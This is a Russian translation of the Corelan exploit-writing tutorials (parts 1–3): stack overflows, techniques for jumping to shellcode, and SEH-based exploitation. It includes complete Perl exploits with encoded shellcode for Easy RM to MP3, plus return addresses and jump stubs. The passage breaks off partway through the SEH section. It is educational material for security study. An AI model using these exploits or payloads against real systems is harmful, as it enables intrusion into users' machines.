Corelan Exploit Writing Tutorials (RU)

Русский перевод серии туториалов Corelan по написанию эксплойтов. Включает темы: переполнение стека, SEH-based эксплойты, обход защитных механизмов (DEP, ASLR, SafeSEH), egg hunting, shellcoding, ROP-цепочки и работу с отладчиком Immunity Debugger.

Больше крутых материалов в моём телеграм канале @grogrigs

Учебное руководство по написанию эксплойтов, часть 1: переполнения стека

corelanc0d3r, 2009-07-19

В этом руководстве я покажу, как создать эксплойт для уязвимости переполнения буфера в стеке. Уязвимым приложением служит Easy RM to MP3 Conversion Utility 2.7.3.700.

> **Предупреждение:** этот документ предназначен исключительно для обучения. Не применяйте описанные методы к системам без явного разрешения.

Проверка ошибки

Первый шаг — убедиться, что приложение аварийно завершается при обработке слишком длинной записи списка воспроизведения. Следующий сценарий Perl создаёт файл M3U с 10 000 символов `A`:

```
my $file = "crash.m3u";
my $junk = "\x41" x 10000;

open($FILE, ">$file");
print $FILE $junk;
close($FILE);
```

Откройте созданный файл в Easy RM to MP3. Приложение обрабатывает 10 000 и даже 20 000 символов без сбоя. При 30 000 символов оно аварийно завершается.

Проверка ошибки и оценка её перспективности

Сам по себе сбой не доказывает возможность эксплуатации. Нужно изучить состояние процессора и определить, управляют ли входные данные указателем инструкций.

Немного теории перед продолжением

Регистр указателя инструкций `EIP` содержит адрес следующей исполняемой инструкции. Если управляемые пользователем данные перезаписывают сохранённый адрес возврата в стеке, это значение в конечном счёте загружается в `EIP`. Поэтому управление `EIP` позволяет перенаправить выполнение.

К важным регистрам 32-разрядной x86 относятся:

- `EAX`, `EBX`, `ECX` и `EDX`: регистры общего назначения.
- `ESP`: указывает на вершину стека.
- `EBP`: обычно указывает на основание текущего кадра стека.
- `ESI` и `EDI`: индексные регистры источника и назначения.
- `EIP`: указатель инструкций.

Память процесса

Адресное пространство процесса содержит, помимо прочего, исполняемый код, статические данные, динамически выделенную память, загруженные модули и стеки потоков. Windows также поддерживает такие структуры, как блок окружения процесса (PEB) и блок окружения потока (TEB).

Стек

В стеке хранятся локальные переменные, аргументы функций, сохранённые указатели кадров и адреса возврата. Он растёт в сторону меньших адресов памяти. Вызов функции помещает в стек адрес возврата; пролог функции обычно сохраняет `EBP` и выделяет место для локальных переменных.

Рассмотрим следующую уязвимую программу на C:

```
#include <string.h>

void do_something(char *Buffer) {
    char MyVar[128];
    strcpy(MyVar, Buffer);
}

int main(int argc, char **argv) {
    do_something(argv[1]);
}
```

Поскольку `strcpy` не проверяет размер назначения, входные данные длиннее `MyVar` могут перезаписать соседние данные стека, включая сохранённый указатель кадра и адрес возврата.

```
00401290  PUSH EBP
00401291  MOV EBP,ESP
00401293  SUB ESP,98
00401299  MOV EAX,DWORD PTR SS:[EBP+8]
0040129C  MOV DWORD PTR SS:[ESP+4],EAX
004012A0  LEA EAX,DWORD PTR SS:[EBP-88]
004012A6  MOV DWORD PTR SS:[ESP],EAX
004012A9  CALL strcpy
004012AE  LEAVE
004012AF  RETN
```

Отладчик

Установите WinDbg и зарегистрируйте его как стандартный посмертный отладчик:

```
windbg -I
```

Если вы хотите, чтобы Windows запрашивала подтверждение перед запуском отладчика, задайте параметру `Auto` в разделе реестра `AeDebug` значение `0`. Подходящий путь к символам:

```
SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols
```

Immunity Debugger также можно настроить как отладчик «точно вовремя».

Когда файл размером 30 000 байт открывается под отладчиком, в `EIP` оказывается `41414141`. Поскольку `0x41` — ASCII-код символа `A`, наши входные данные управляют указателем инструкций.

```
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040
esi=77c5fce0 edi=0000662c eip=41414141 esp=000ff730
```

Определение точного смещения до EIP

Сначала сузим область поиска, записав 25 000 символов `A`, а затем 5000 символов `B`:

```
my $file = "test1.m3u";
my $junk = "A" x 25000;
my $junk2 = "B" x 5000;

open($FILE, ">$file");
print $FILE $junk . $junk2;
close($FILE);
```

Полученное значение `EIP` равно `42424242`, следовательно, перезапись происходит во второй части. Создайте уникальный 5000-байтовый шаблон Metasploit, поместите его после первых 25 000 байт и снова вызовите сбой. Отладчик сообщает `EIP = 0x356b4234`.

```
./pattern_offset.rb 5000 0x356b4234
1094
```

Таким образом, полное смещение равно `25000 + 1094 = 26094` байтам. Проверьте его четырёхбайтовым маркером и узнаваемыми данными после адреса возврата:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;

open($FILE, ">$file");
print $FILE $junk . $eip . $espdata;
close($FILE);
```

Теперь `EIP` содержит `42424242`, а `ESP` указывает внутрь данных `C`.

> Точное смещение может измениться при изменении полного пути к списку воспроизведения. Всегда воспроизводите сбой и вычисляйте его в целевом окружении.

Полученная структура:

```
[ A x 26090 ][ saved EBP: AAAA ][ saved EIP: BBBB ][ ESP -> CCCCC... ]
```

Поиск области памяти для шелл-кода

Мы управляем `EIP`, но всё ещё нужно найти место для исполняемой полезной нагрузки. Выведите память, на которую указывает каждый регистр. `ESP`, по всей видимости, указывает на символы `C`, помещённые после перезаписанного адреса возврата, однако необходимо точно выяснить, с какого места этих данных он начинает.

Замените повторяющиеся символы `C` узнаваемой последовательностью:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = "BBBB";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5";

open($FILE, ">$file");
print $FILE $junk . $eip . $pattern;
close($FILE);
```

```
0:000> d esp
000ff730  61 31 41 61 32 41 61 33-41 61 34 41 61 35 41 61  a1Aa2Aa3Aa4Aa5Aa
```

ESP указывает на пятый символ, а не на начало. Добавьте перед шаблоном четыре символа заполнения и повторите проверку:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = "BBBB";
my $padding = "XXXX";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5";

open($FILE, ">$file");
print $FILE $junk . $eip . $padding . $pattern;
close($FILE);
```

Теперь ESP указывает непосредственно на начало шаблона. Мы управляем EIP, располагаем достаточным пространством для кода и имеем регистр, указывающий на этот код.

Проверьте путь выполнения цепочкой NOP, за которой следует точка останова INT 3:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = pack('V', 0x000ff730);
my $shellcode = "\x90" x 25;
$shellcode .= "\xcc";
$shellcode .= "\x90" x 25;

open($FILE, ">$file");
print $FILE $junk . $eip . $shellcode;
close($FILE);
```

```
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040
esi=77c5fce0 edi=0000662c eip=000ff730 esp=000ff730
```

Надёжный переход к шелл-коду

Жёстко заданный адрес 0x000ff730 ненадёжен, поскольку адреса стека могут меняться между системами и запусками. Вместо этого перезапишите EIP адресом стабильной инструкции JMP ESP в загруженном модуле. Эта инструкция передаёт выполнение по адресу, содержащемуся в ESP.

Опкоды JMP ESP — FF E4. Подтвердите их, дизассемблировав известную инструкцию:

```
0:014> u 7c90120e
7c90120e ffe4            jmp     esp
```

Выполните поиск в диапазоне адресов модулей приложения:

```
0:014> s 01b10000 l 01fdd000 ff e4
01ccf23a  ff e4 85 db 74 16 8b 03-8b 10 53 ff 52 20 85 c0
```

Обычно следует избегать адресов с нулевыми байтами, поскольку нулевой байт способен завершить уязвимую строку до копирования полезной нагрузки после EIP. Среди других способов поиска подходящих инструкций — findjmp, база опкодов Metasploit, memdump и плагин pvefindaddr для Immunity Debugger.

Проверьте первый результат:

```
0:014> u 01ccf23a
MSRMCcodec02!DriverProc+0x...:
01ccf23a ffe4            jmp     esp
```

Используйте адрес в порядке little-endian и повторите проверку с NOP и точкой останова:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = pack('V', 0x01ccf23a); # JMP ESP in MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
$shellcode .= "\xcc";
$shellcode .= "\x90" x 25;

open($FILE, ">$file");
print $FILE $junk . $eip . $shellcode;
close($FILE);
```

```
(21c.e54): Break instruction exception - code 80000003 (second chance)
eip=000ff745 esp=000ff730
```

Получение шелл-кода и завершение эксплойта

Metasploit умеет создавать закодированные полезные нагрузки. Размер полезной нагрузки важен при ограниченном пространстве буфера; среди альтернатив — поэтапные полезные нагрузки, тщательно созданный вручную шелл-код и поиск яйца. В этом примере используется 144-байтовая полезная нагрузка `windows/exec`, запускающая калькулятор:

```
# windows/exec - 144 bytes
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode =
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
```

Окончательный эксплойт:

```
# Exploit for Easy RM to MP3 2.7.3.700
# Vulnerability discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# Tested on Windows XP SP3 (English)

my $file = "exploitrmtomp3.m3u";
my $junk = "A" x 26094;
my $eip = pack('V', 0x01ccf23a); # JMP ESP in MSRMCcodec02.dll
my $shellcode = "\x90" x 25;

$shellcode .=
"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
```

```
print $FILE $junk . $eip . $shellcode;
close($FILE);

print "m3u File Created successfully\n";
```

Отключите автоматический запуск отладчика, создайте файл M3U и откройте его в уязвимом приложении. Приложение аварийно завершается, и запускается калькулятор.

> 25 байтов `NOP` перед полезной нагрузкой образуют небольшую область приземления. В последующих руководствах объясняется, почему это может повысить надёжность.

Что делать, если требуется не калькулятор?

Полезную нагрузку калькулятора можно заменить другой, но более крупному шелл-коду может потребоваться больше места, а вероятность наличия символов, которые уязвимое приложение изменяет или воспринимает как завершение строки, увеличится. Например, командная оболочка с привязкой может слушать выбранный TCP-порт, но её закодированная полезная нагрузка существенно больше.

При замене полезной нагрузки определите недопустимые символы для уязвимого пути ввода, заново создайте шелл-код с исключением этих байтов и перед выполнением проверьте всю полезную нагрузку в памяти.

Учебное руководство по написанию эксплойтов, часть 2: стековые переполнения — переход к shellcode

corelanc0d3r, 2009-07-23

Куда вы хотите перейти сегодня?

В первой части объяснялось, как найти стековое переполнение и превратить его в эксплойт. В том примере ESP указывал почти прямо на управляемый буфер, поэтому для выполнения shellcode было достаточно четырёх байтов padding и инструкции JMP ESP.

Это почти идеальная ситуация. В этой статье рассматриваются другие способы добраться до shellcode и методы работы с маленькими исполняемыми буферами. Сначала прочитайте и разберите первую часть.

Распространённые способы перенаправления управления:

• **Переход или вызов через регистр:** перезапишите EIP адресом JMP <reg> или CALL <reg>, если регистр указывает на shellcode.
• **Снятие значений и возврат:** если полезный указатель находится по адресу ESP+n, выполните одну или несколько инструкций POP, а затем RET, чтобы отбросить предшествующие элементы стека и вернуться через этот указатель.
• **Помещение на стек и возврат:** последовательность PUSH <reg>; RET эквивалентна передаче управления по адресу из регистра.
• **Переход через регистр со смещением:** используйте инструкцию наподобие JMP [ESP+8], если указатель на shellcode хранится со смещением.
• **Blind return:** перезапишите EIP адресом инструкции RET, а на вершину стека поместите жёстко заданный адрес shellcode.
• **Собственный jumpcode:** выполните небольшой первый этап, который корректирует регистр и переходит в более крупный управляемый буфер в другом месте.
• **SEH:** перезапишите exception handler, чтобы получить более крупный или стабильный путь выполнения; этот способ рассматривается в третьей части.

Это примеры, а не исчерпывающий список. В реальных эксплойтах методы часто комбинируются. Проблему также могут решить encoder, NOP padding или небольшое смещение shellcode. Некоторые сбои просто невозможно эксплуатировать.

CALL <reg>

Если регистр указывает непосредственно на shellcode, инструкция CALL <reg> работает так же, как переход. Для ESP найдите подходящие инструкции в загруженных модулях с помощью findjmp:

```
findjmp.exe kernel32.dll esp

Scanning kernel32.dll for code usable with the esp register
0x7C836A08      call esp
0x7C874413      jmp esp
Found 2 usable addresses
```

В примере с Easy RM to MP3 перед EIP находятся 26 094 байта, а до того места, где ESP достигнет shellcode, требуется четыре байта padding:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = pack('V', 0x7C836A08);  # call esp
my $prependesp = "XXXX";

my $shellcode = "\x90" x 25;
# Full windows/exec payload encoded with x86/alpha_upper,
# EXITFUNC=seh and CMD=calc.
$shellcode .=
"\x89\xe3\xdb\xc2\xd9\x73\xf4\x59\x49\x49\x49\x49\x49\x43" .
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58" .
"\x51\x54\x43\x30\x45\x50\x45\x50\x4c\x4b\x47\x35\x47\x4c" .
"\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a\x4f\x4c\x4b" .
"\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b" .
"\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x50\x31" .
"\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x44\x34\x45\x57" .
"\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4b\x44" .
"\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4a\x45\x4c\x4b" .
"\x51\x4f\x46\x44\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c" .
"\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b" .
"\x45\x4c\x4c\x4b\x43\x31\x4a\x4b\x4d\x59\x51\x4c\x46\x44" .
"\x43\x34\x49\x53\x51\x4f\x46\x51\x4b\x46\x43\x50\x46\x36" .
"\x45\x34\x4c\x4b\x50\x46\x50\x30\x4c\x4b\x51\x50\x44\x4c" .
"\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x42\x48\x43\x38" .
"\x4b\x39\x4a\x58\x4d\x53\x49\x50\x43\x5a\x50\x50\x43\x58" .
"\x4c\x30\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b\x4e" .
"\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x43\x53\x43\x51" .
"\x42\x4c\x43\x53\x43\x30\x41\x41";

open($FILE, ">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
```

POP и RET

Если ни один регистр не указывает на shellcode, изучите первые элементы стека. Если там находится указатель на управляемые данные, перезапишите EIP адресом подходящей последовательности POP; RET, POP; POP; RET или более длинного варианта.

Каждая инструкция POP отбрасывает один четырёхбайтовый элемент стека. Затем RET загружает следующее значение в EIP. Если указатель на shellcode находится по адресу ESP+8, две инструкции POP пропустят первые восемь байтов, прежде чем RET воспользуется указателем.

Другой вариант размещает указатель на JMP ESP по адресу ESP+8, а shellcode — сразу после него. Первая последовательность POP POP RET достигает трамплина, а он передаёт управление payload.

Управляемый тест:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = "BBBB";
my $prependesp = "XXXX";
my $shellcode = "\xcc";          # First breakpoint.
$shellcode .= "\x90" x 7;
$shellcode .= "\xcc";            # Simulated payload at ESP+8.
$shellcode .= "\x90" x 500;
open($FILE, ">$file");
```

```
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
```

Найдите `POP POP RET` и перезапишите `EIP` его адресом. По адресу `ESP+8` поместите адрес второй точки останова. `RET` передаст туда управление.

PUSH и RET

Если регистр указывает на shellcode, но прямого перехода или вызова нет, используйте:

```
push esp
ret
```

`PUSH ESP` помещает значение регистра на стек. `RET` снимает его в `EIP`. Найдите такую последовательность в стабильном загруженном модуле и перезапишите `EIP` её адресом.

Тот же принцип применим к любому регистру. `findjmp` сообщает о трамплинах `PUSH/RET` вместе с прямыми вызовами и переходами.

JMP [reg+offset]

Если указатель на shellcode хранится со смещением относительно регистра, найдите косвенный переход наподобие `JMP [ESP+8]`. Соберите инструкцию в WinDbg:

```
0:014> a
7c90120e jmp [esp + 8]

0:014> u 7c90120e
7c90120e ff642408  jmp dword ptr [esp+8]
```

Opcode равен `FF 64 24 08`. Найдите его в загруженных исполняемых модулях и используйте адрес инструкции для перезаписи `EIP`.

Точное совпадение со смещением `+8` необязательно. Более крупное смещение может попасть в NOP sled перед shellcode. В этом примере подходящей последовательности в нужном модуле не нашлось, что наглядно показывает: теоретически правильный метод может оказаться непригодным для конкретной цели.

Blind return

Blind return использует только инструкцию `RET`:

1. Перезапишите `EIP` адресом `RET`.
2. Поместите абсолютный адрес shellcode в первые четыре байта по адресу `ESP`.
3. `RET` загрузит этот адрес в `EIP`.

Метод требует контроля над `ESP` и стабильного адреса shellcode без нулевых байтов. В примере Easy RM `ESP` находился около `0x000ff730`; нулевой байт завершает строковый ввод и мешает обычным способом дописать shellcode. Иногда вместо него в `ESP` можно поместить указатель через другой управляемый регистр.

Blind return ненадёжен, поскольку часто жёстко задаёт адрес стека, однако он может сработать, если подходящего трамплина через регистр нет.

Маленькие буферы и собственный jumpcode

Предположим, после EIP остаётся лишь 50 полезных байтов, а большой буфер перед EIP всё ещё присутствует где-либо на стеке. Поместите после EIP небольшой первый этап, а основной shellcode — в более ранний буфер.

Сначала определите, где повторно появляются данные перед EIP. В тесте после EIP размещаются 54 байта X, а затем NOP:

```
my $file = "test1.m3u";
my $junk = "A" x 26094;
my $eip = "BBBB";
my $preshellcode = "X" x 54;
my $nop = "\x90" x 230;

open($FILE, ">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
```

ESP начинается с 0x000ff730. Байты X занимают непосредственный небольшой буфер, а копии данных A, расположенных до EIP, начинаются примерно по адресу ESP+281:

Замените начало большого буфера циклическим шаблоном длиной 1000 байтов. По адресу 0x000ff849 первые четыре видимых символа равны 5Ai6:

pattern_offset сообщает смещение 257. Разместите 250 байтов A, NOP sled длиной 50 байтов, payload и padding, сохраняющий общую длину перед EIP равной 26 094 байтам:

```
my $buffersize = 26094;
my $junk = "A" x 250;
my $nops = "\x90" x 50;
my $shellcode = "\xcc";
my $rest = "A" x ($buffersize - length($junk.$nops.$shellcode));
my $buffer = $junk.$nops.$shellcode.$rest;
```

Первый этап должен переместить ESP примерно на 281 байт вперёд. Избегайте immediate value, добавляющего нулевые байты. Три прибавления 0x5e сдвигают указатель на 282 байта и приводят в NOP sled:

```
add esp, 0x5e
add esp, 0x5e
add esp, 0x5e
jmp esp
```

WinDbg собирает последовательность так:

```
83 c4 5e  add esp,5Eh
83 c4 5e  add esp,5Eh
83 c4 5e  add esp,5Eh
ff e4     jmp esp
```

Полный первый этап занимает всего 11 байтов:

```
my $jumpcode =
    "\x83\xc4\x5e" .
    "\x83\xc4\x5e" .
    "\x83\xc4\x5e" .
    "\xff\xe4";

my $eip = pack('V', 0x7C874413);  # jmp esp
```

```
my $preshellcode = "XXXX";

open($FILE, ">test1.m3u");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
```

После проверки перехода замените breakpoint настоящим shellcode. NOP sled допускает небольшие различия смещения.

Другие способы перехода

Тот же принцип позволяет создавать множество маленьких stub:

• прибавить значение к `ESP`, `EBP`, `ESI`, `EDI` или другому управляемому указателю либо вычесть его, а затем перейти через этот регистр;
• перенести значение в другой регистр, для которого существует надёжный трамплин;
• поместить на стек абсолютный или вычисленный адрес и выполнить `RET`;
• вычислить effective address с помощью `LEA`, не изменяя flags;
• связать несколько коротких инструкций, если одной подходящей последовательности нет.

Всегда собирайте выбранную последовательность, проверяйте её байты на bad characters и тестируйте под отладчиком.

Короткие и условные переходы

Короткий переход x86 использует восьмибитное знаковое смещение, отсчитываемое от инструкции, следующей сразу за переходом. Диапазон составляет от -128 до +127 байтов.

Инструкция	Opcode	Условие
JMP SHORT	EB cb	Всегда
JO	70 cb	Переполнение
JNO	71 cb	Нет переполнения
JB / JC	72 cb	Ниже / перенос
JAE / JNC	73 cb	Выше или равно / нет переноса
JE / JZ	74 cb	Равно / ноль
JNE / JNZ	75 cb	Не равно / не ноль
JBE	76 cb	Ниже или равно
JA	77 cb	Выше
JS	78 cb	Установлен sign flag

JNS	79 cb	Sign flag не установлен
JP / JPE	7A cb	Чётность
JNP / JPO	7B cb	Нечётность
JL / JNGE	7C cb	Меньше
JGE / JNL	7D cb	Больше или равно
JLE / JNG	7E cb	Меньше или равно
JG / JNLE	7F cb	Больше

Переход вперёд на шесть байтов:

```
EB 06
```

Near jump использует `E9` и следующее за ним знаковое 32-разрядное смещение, поэтому покрывает намного больший диапазон. Рассчитывайте смещение относительно адреса после пятибайтовой инструкции.

Переходы назад

Отрицательное расстояние короткого перехода кодируется в дополнительном коде. Например, `EB F9` выполняет переход на семь байтов назад от следующей инструкции. Использовать отладчик или assembler безопаснее, чем вычислять байты вручную.

Независимо от выбранного метода проверяйте точную runtime layout, отдавайте предпочтение стабильным адресам из модулей приложения, избегайте bad characters и используйте достаточный NOP padding для компенсации небольших различий размещения.

Учебное руководство по написанию эксплойтов, часть 3: эксплойты на основе SEH

corelanc0d3r, 2009-07-25

В первых двух частях серии рассматривались классические переполнения стека и несколько способов перенаправить EIP к шелл-коду. В тех примерах можно было непосредственно перезаписать EIP, имелся большой буфер для шелл-кода и поддерживались разные техники перехода. Но не каждое переполнение столь удобно.

В этой статье исследуется другой путь от уязвимости к эксплойту: структурированные обработчики исключений.

Что такое обработчики исключений?

Обработчик исключения — код приложения, реагирующий на исключительную ситуацию. В упрощённом виде:

```
try {
    // Run code that may throw an exception.
}
catch {
    // Handle the exception.
}
```

Показанный здесь адрес обработчика — лишь часть записи SEH; схема представляет абстрактную модель.

Windows предоставляет стандартный структурированный обработчик исключений. Если ни один обработчик приложения не может обработать исключение, стандартный путь выводит знакомое окно ошибки приложения. Стабильные программы обычно сначала используют обработчики конкретного языка, оставляя обработчик операционной системы последним резервным вариантом.

У каждой функции есть кадр стека. Если функция обрабатывает исключения, сведения о её обработчике сохраняются в стеке в восьмибайтовой структуре `EXCEPTION_REGISTRATION`:

• Четырёхбайтовый указатель на следующую регистрационную запись.
• Четырёхбайтовый указатель на текущую процедуру-обработчик.

TEB, или TIB, содержит в `FS:[0]` указатель на начало цепочки. В x86 настройка обработчика часто включает `mov eax, FS:[0]`, опкод которой начинается с `64 A1 00 00 00 00`. В последней записи указатель на следующий элемент равен `0xFFFFFFFF`.

Скомпилируйте эту простую программу как `sehtest.exe` и откройте её в WinDBG, не запуская:

```
#include <stdio.h>
#include <string.h>
#include <windows.h>

int ExceptionHandler(void);

int main(int argc, char *argv[])
{
    char temp[512];
    printf("Application launched");

    __try {
```

```
        strcpy(temp, argv[1]);
    }
    __except (ExceptionHandler()) {
    }
    return 0;
}

int ExceptionHandler(void)
{
    printf("Exception");
    return 0;
}
```

Исполняемый файл занимает диапазон от `0x00400000` до `0x0040c000`. Найдите в нём опкод настройки:

```
0:000> s 00400000 l 0040c000 64 A1
00401225  64 a1 00 00 00 00 55 89-e5 6a ff 68 1c a0 40 00
0040133f  64 a1 00 00 00 00 50 64-89 25 00 00 00 00 81 ec
```

Дамп `FS:[0]` перед выполнением показывает, что цепочка начинается по адресу `0x0012fd0c`:

```
0:000> d fs:[0]
003b:00000000  0c fd 12 00 00 00 13 00-00 e0 12 00 00 00 00 00
0:000> !exchain
0012fd0c: ntdll!strchr+113 (7c90e920)

0:000> d 0012fd0c
0012fd0c  ff ff ff ff 20 e9 90 7c-30 b0 91 7c 01 00 00 00
```

Значение `FFFFFFFF` ожидаемо, поскольку приложение всё ещё приостановлено до регистрации собственного обработчика.

OllyGraph может визуализировать функцию и показать наличие обработки исключений:

После запуска программы `FS:[0]` указывает на цепочку, содержащую обработчики операционной системы и приложения. OllyDbg отображает её напрямую:

Обработчик приложения указывает на `ExceptionHandler()` в исполняемом файле. Записи образуют связный список, заканчивающийся `FFFFFFFF`:

При возникновении исключения `ntdll.dll` получает начало цепочки из TEB и обходит записи, пока один из обработчиков не примет исключение или не будет достигнут стандартный обработчик Win32.

Механизмы защиты, появившиеся после Windows XP SP1

Очистка регистров

Начиная с Windows XP SP1 регистры очищаются до передачи управления обработчику исключения. Значения, которые при исключении первого шанса указывали внутрь полезной нагрузки, больше нельзя использовать для непосредственного перехода к ней.

DEP и cookie стека

Cookie стека и предотвращение выполнения данных появились в Windows XP SP2 и Windows Server 2003. Оба механизма способны существенно усложнить эксплуатацию и подробнее рассматриваются в части 6.

SafeSEH

Модули, скомпилированные с `/SafeSEH`, содержат проверенную таблицу обработчиков исключений. Перезаписанный указатель на обработчик за пределами этой таблицы отклоняется.

Windows Server 2003 добавляет ещё больше проверок. Сначала освойте базовую технику, а затем переходите к их обходу.

Использование SEH для перехода к шелл-коду

Поскольку регистры очищаются, для возврата к контролируемым данным стека используйте последовательность из исполняемого модуля. Предпочтителен DLL-файл приложения со стабильным адресом, скомпилированный без SafeSEH.

Если указатель обработчика SE можно перезаписать, направьте его на `pop pop ret`. Диспетчер исключений вызывает последовательность, когда адрес соответствующей регистрационной записи находится по `ESP+8`. Две инструкции POP удаляют восемь байт, а RET помещает адрес записи в EIP.

В поле next SEH вместо адреса поместите код короткого перехода. Он перепрыгнет через перезаписанный указатель обработчика и попадёт в шелл-код:

1. Вызовите исключение.
2. Перезапишите next SEH кодом перехода.
3. Перезапишите обработчик SE указателем `pop pop ret`.
4. Разместите шелл-код после обработчика.

Типичная полезная нагрузка:

```
[Junk][nSEH][SEH][NOPs and shellcode]
```

`nSEH` содержит переход, а `SEH` — адрес `pop pop ret`.

Наблюдение за SEH в OllyDbg

В практическом примере используется некорректный файл `skin\default\UI.txt` в Soritong MP3 Player 1.0. Создайте исходный файл, вызывающий сбой:

```
my $uitxt = "ui.txt";
my $junk = "A" x 5000;

open(myfile, ">$uitxt");
print myfile $junk;
close(myfile);
```

Откройте Soritong в OllyDbg или Immunity Debugger и запустите. Некорректный файл скина приводит к сбою процесса:

ESP указывает в область около `0x0012da14`. Ниже в стеке значение `FFFFFFFF` обозначает конец цепочки, а обработчик операционной системы находится в `user32.dll`:

Другие записи также указывают на модули операционной системы, из чего можно предположить, что у уязвимой функции нет обработчика приложения:

Откройте **View > Threads**, выберите основной поток и выведите его блок данных потока:

Откройте **View > SEH chain**:

Указатель на обработчик перезаписан четырьмя байтами `A`:

При диспетчеризации EIP получает адрес обработчика. Следовательно, управление этим полем позволяет управлять выполнением.

Наблюдение за SEH в WinDBG

Откройте исполняемый файл в WinDBG:

Запустите его командой `g` или клавишей F5:

WinDBG останавливается на нарушении доступа первого шанса до того, как приложение его обработает:

```
00422e33 8810  mov byte ptr [eax],dl  ds:0023:00130000=41
0:000> d esp
0012da14  3c eb aa 00 00 00 00-00 00 00 00 00 00 00
0012da64  8f 04 44 7e 30 88 41 7e-ff ff ff ff 2a 88 41 7e
```

`!analyze -v` и расширение MSEC `!exploitable` классифицируют управление обработчиком как эксплуатируемое:

В XP SP1 и более новых версиях не полагайтесь на указатели в регистрах после диспетчеризации, поскольку регистры очищаются.

Зачем использовать SEH вместо прямой перезаписи RET?

Прямая перезапись EIP эффективна, но может страдать от нестабильных жёстко заданных адресов или недостатка места для шелл-кода. Если переполнение достигает EIP, попробуйте увеличить входные данные настолько, чтобы дойти до цепочки SEH. Это часто предоставляет больше места, а повреждение EIP автоматически вызывает исключение, необходимое SEH-эксплойту.

Поиск смещений nSEH и SEH

Создайте достаточно длинный циклический шаблон Metasploit и запишите его в `UI.txt`. При исключении первого шанса изучите цепочку, не позволяя приложению изменить стек:

```
0:000> !exchain
0012fd64: <Unloaded_ud.drv>+41367440 (41367441)
Invalid exception stack at 35744134
```

